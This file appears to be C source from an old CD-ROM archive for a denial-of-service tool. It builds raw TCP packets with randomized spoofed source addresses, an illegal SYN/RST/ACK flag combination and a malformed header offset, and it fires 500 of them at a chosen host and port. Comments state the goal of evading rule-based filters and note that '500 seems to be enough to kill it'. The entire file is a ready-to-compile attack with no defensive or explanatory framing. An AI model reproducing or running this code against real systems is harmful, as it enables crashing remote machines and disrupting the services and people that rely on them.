home *** CD-ROM | disk | FTP | other *** search
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <unistd.h>
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <netinet/in.h>
- #include <netinet/in_systm.h>
- #include <netinet/ip.h>
- #include <netinet/ip_tcp.h>
- #include <netinet/protocols.h>
- #include <netdb.h>
-
- unsigned short compute_tcp_checksum(struct tcphdr *th, int len,
- unsigned long saddr, unsigned long daddr)
- {
- unsigned long sum;
- __asm__("
- addl %%ecx, %%ebx
- adcl %%edx, %%ebx
- adcl $0, %%ebx
- "
- : "=b"(sum)
- : "0"(daddr), "c"(saddr), "d"((ntohs(len) << 16) + IPPROTO_TCP*256)
- : "bx", "cx", "dx" );
- __asm__("
- movl %%ecx, %%edx
- cld
- cmpl $32, %%ecx
- jb 2f
- shrl $5, %%ecx
- clc
- 1: lodsl
- adcl %%eax, %%ebx
- lodsl
- adcl %%eax, %%ebx
- lodsl
- adcl %%eax, %%ebx
- lodsl
- adcl %%eax, %%ebx
- lodsl
- adcl %%eax, %%ebx
- lodsl
- adcl %%eax, %%ebx
- lodsl
- adcl %%eax, %%ebx
- lodsl
- adcl %%eax, %%ebx
- loop 1b
- adcl $0, %%ebx
- movl %%edx, %%ecx
- 2: andl $28, %%ecx
- je 4f
- shrl $2, %%ecx
- clc
- 3: lodsl
- adcl %%eax, %%ebx
- loop 3b
- adcl $0, %%ebx
- 4: movl $0, %%eax
- testw $2, %%dx
- je 5f
- lodsw
- addl %%eax, %%ebx
- adcl $0, %%ebx
- movw $0, %%ax
- 5: test $1, %%edx
- je 6f
- lodsb
- addl %%eax, %%ebx
- adcl $0, %%ebx
- 6: movl %%ebx, %%eax
- shrl $16, %%eax
- addw %%ax, %%bx
- adcw $0, %%bx
- "
- : "=b"(sum)
- : "0"(sum), "c"(len), "S"(th)
- : "ax", "bx", "cx", "dx", "si" );
- return((~sum) & 0xffff);
- }
-
- #define psize ( sizeof(struct iphdr) + sizeof(struct tcphdr) )
- #define tcp_offset ( sizeof(struct iphdr) )
- #define err(x) { fprintf(stderr, x); exit(1); }
- #define errors(x, y) { fprintf(stderr, x, y); exit(1); }
- struct iphdr temp_ip;
- int temp_socket = 0;
-
- u_short
- ip_checksum (u_short * buf, int nwords)
- {
- unsigned long sum;
-
- for (sum = 0; nwords > 0; nwords--)
- sum += *buf++;
- sum = (sum >> 16) + (sum & 0xffff);
- sum += (sum >> 16);
- return ~sum;
- }
-
- void
- fixhost (struct sockaddr_in *addr, char *hostname)
- {
- struct sockaddr_in *address;
- struct hostent *host;
-
- address = (struct sockaddr_in *) addr;
- (void) bzero ((char *) address, sizeof (struct sockaddr_in));
- address->sin_family = AF_INET;
- address->sin_addr.s_addr = inet_addr (hostname);
- if ((int) address->sin_addr.s_addr == -1)
- {
- host = gethostbyname (hostname);
- if (host)
- {
- bcopy (host->h_addr, (char *) &address->sin_addr,
- host->h_length);
- }
- else
- {
- puts ("Couldn't resolve address!!!");
- exit (-1);
- }
- }
- }
-
- unsigned int
- lookup (host)
- char *host;
- {
- unsigned int addr;
- struct hostent *he;
-
- addr = inet_addr (host);
- if (addr == -1)
- {
- he = gethostbyname (host);
- if ((he == NULL) || (he->h_name == NULL) || (he->h_addr_list == NULL))
- return 0;
-
- bcopy (*(he->h_addr_list), &(addr), sizeof (he->h_addr_list));
- }
- return (addr);
- }
-
- unsigned short
- lookup_port (p)
- char *p;
- {
- int i;
- struct servent *s;
-
- if ((i = atoi (p)) == 0)
- {
- if ((s = getservbyname (p, "tcp")) == NULL)
- errors ("Unknown port %s\n", p);
- i = ntohs (s->s_port);
- }
- return ((unsigned short) i);
- }
-
- void
- spoof_packet (struct sockaddr_in local, int fromport, \
- struct sockaddr_in remote, int toport, ulong sequence, \
- int sock, u_char theflag, ulong acknum, \
- char *packdata, int datalen)
- {
- char *packet;
- int tempint;
- if (datalen > 0)
- datalen++;
- packet = (char *) malloc (psize + datalen);
- tempint = toport;
- toport = fromport;
- fromport = tempint;
- {
- struct tcphdr *fake_tcp;
- fake_tcp = (struct tcphdr *) (packet + tcp_offset);
- fake_tcp->th_dport = htons (fromport);
- fake_tcp->th_sport = htons (toport);
- fake_tcp->th_flags = theflag;
- fake_tcp->th_seq = random ();
- fake_tcp->th_ack = random ();
- /* this is what really matters, however i randomize everything else
- to prevent simple rule based filters */
- fake_tcp->th_off = random ();
- fake_tcp->th_win = random ();
- fake_tcp->th_urp = random ();
- }
- if (datalen > 0)
- {
- char *tempbuf;
- tempbuf = (char *) (packet + tcp_offset + sizeof (struct tcphdr));
- for (tempint = 0; tempint < datalen - 1; tempint++)
- {
- *tempbuf = *packdata;
- *tempbuf++;
- *packdata++;
- }
- *tempbuf = '\r';
- }
- {
- struct iphdr *real_ip;
- real_ip = (struct iphdr *) packet;
- real_ip->version = 4;
- real_ip->ihl = 5;
- real_ip->tot_len = htons (psize + datalen);
- real_ip->tos = 0;
- real_ip->ttl = 64;
- real_ip->protocol = 6;
- real_ip->check = 0;
- real_ip->id = 10786;
- real_ip->frag_off = 0;
- bcopy ((char *) &local.sin_addr, &real_ip->daddr, sizeof (real_ip->daddr));
- bcopy ((char *) &remote.sin_addr, &real_ip->saddr, sizeof (real_ip->saddr));
- temp_ip.saddr = htonl (ntohl (real_ip->daddr));
- real_ip->daddr = htonl (ntohl (real_ip->saddr));
- real_ip->saddr = temp_ip.saddr;
- real_ip->check = ip_checksum ((u_short *) packet, sizeof (struct iphdr) >> 1);
- {
- struct tcphdr *another_tcp;
- another_tcp = (struct tcphdr *) (packet + tcp_offset);
- another_tcp->th_sum = 0;
- another_tcp->th_sum = compute_tcp_checksum (another_tcp, sizeof (struct tcphdr) + datalen,
- real_ip->saddr, real_ip->daddr);
- }
- }
- {
- int result;
- sock = (int) temp_socket;
- result = sendto (sock, packet, psize + datalen, 0,
- (struct sockaddr *) &remote, sizeof (remote));
- }
- free (packet);
- }
-
- void
- main (argc, argv)
- int argc;
- char **argv;
- {
- unsigned int daddr;
- unsigned short dport;
- struct sockaddr_in sin;
- int s, i;
- struct sockaddr_in local, remote;
- u_long start_seq = 4935835 + getpid ();
-
- if (argc != 3)
- errors ("Usage: %s <dest_addr> <dest_port>\n\nDest port of 23n",
- argv[0]);
-
- if ((s = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
- err ("Unable to open raw socket.\n");
- if ((temp_socket = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
- err ("Unable to open raw socket.\n");
- if (!(daddr = lookup (argv[1])))
- err ("Unable to lookup destination address.\n");
- dport = lookup_port (argv[2]);
- sin.sin_family = AF_INET;
- sin.sin_addr.s_addr = daddr;
- sin.sin_port = dport;
- fixhost ((struct sockaddr_in *)(struct sockaddr *) &local, argv[1]);
- fixhost ((struct sockaddr_in *)(struct sockaddr *) &remote, argv[1]);
- /* 500 seems to be enough to kill it */
- for (i = 0; i < 500; i++)
- {
- start_seq++;
- local.sin_addr.s_addr = random ();
- spoof_packet (local, random (), remote, dport, start_seq, (int) s,
- TH_SYN | TH_RST | TH_ACK, 0, NULL, 0);
- }
- }
-
-